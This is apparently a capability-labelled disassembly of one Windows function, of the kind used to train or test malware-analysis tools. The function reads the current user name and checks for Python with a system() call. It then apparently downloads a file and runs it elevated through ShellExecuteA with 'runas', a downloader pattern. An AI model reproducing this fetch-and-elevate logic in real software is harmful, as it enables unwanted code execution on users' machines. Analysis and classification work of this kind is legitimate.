Function at 0x14001146f
Capabilities:
Create process on windows
Download url
Execute command
Get session user name
Receive data

Disassembly:
jmp 0x140017390
push rbp
push rdi
sub rsp, 0x7c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x156
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x788], rax
lea rcx, [0x14002b0f9]
call fcn.140011668
mov dword [rbp + 4], 0x100
mov dword [rbp + 0x144], 0x100
lea rdx, [rbp + 0x144]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x1400173fd
mov eax, 1
jmp 0x140017669
lea rax, str.___nul_2_1
mov qword [rbp + 0x168], rax
mov rdx, qword [rbp + 0x168]
lea rcx, [rbp + 0x468]
call fcn.1400112c6
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x750], rax
mov r8, qword [rbp + 0x750]
lea rdx, str.python___version
lea rcx, [rbp + 0x4a8]
call fcn.140011695
mov qword [rbp + 0x758], rax
mov rcx, qword [rbp + 0x758]
call fcn.1400110aa
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
test eax, eax
je 0x140017479
mov dword [rbp + 0x760], 1
jmp 0x140017483
mov dword [rbp + 0x760], 0
movzx eax, byte [rbp + 0x760]
mov byte [rbp + 0x444], al
lea rcx, [rbp + 0x4a8]
call fcn.140011140
nop
lea rcx, [rbp + 0x468]
call fcn.140011140
movzx eax, byte [rbp + 0x444]
test eax, eax
je 0x1400174bb
xor eax, eax
jmp 0x140017669
lea rdx, [rbp + 0x508]
lea rcx, [rbp + 0x4e4]
call fcn.14001bb60
mov rcx, rax
call fcn.140011744
mov qword [rbp + 0x748], rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x548]
call fcn.1400112c6
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea rdx, [rbp + 0x5a8]
lea rcx, [rbp + 0x584]
call fcn.140014a00
mov rcx, rax
call fcn.140011749
mov qword [rbp + 0x768], rax
mov r8, qword [rbp + 0x760]
mov rdx, qword [rbp + 0x768]
lea rcx, [rbp + 0x5d8]
call fcn.140011695
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x780], rax
mov r8, qword [rbp + 0x748]
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x188]
call fcn.1400115eb
nop
lea rcx, [rbp + 0x5d8]
call fcn.140011140
nop
lea rcx, [rbp + 0x548]
call fcn.140011140
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x614]
call fcn.14001bd40
mov rcx, rax
call fcn.140011730
mov qword [rbp + 0x1c8], rax
lea rcx, [rbp + 0x188]
call fcn.1400110aa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, qword [rbp + 0x1c8]
xor ecx, ecx
call fcn.14001118b
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0
je 0x14001761b
mov dword [rbp + 0x714], 1
lea rcx, [rbp + 0x188]
call fcn.140011140
mov eax, dword [rbp + 0x714]
jmp 0x140017669
lea rcx, [rbp + 0x188]
call fcn.1400110aa
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x734], 0
lea rcx, [rbp + 0x188]
call fcn.140011140
mov eax, dword [rbp + 0x734]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140020f20]
call fcn.14001155a
mov rax, rdi
mov rcx, qword [rbp + 0x788]
xor rcx, rbp
call fcn.14001131b
lea rsp, [rbp + 0x798]
pop rdi
pop rbp
ret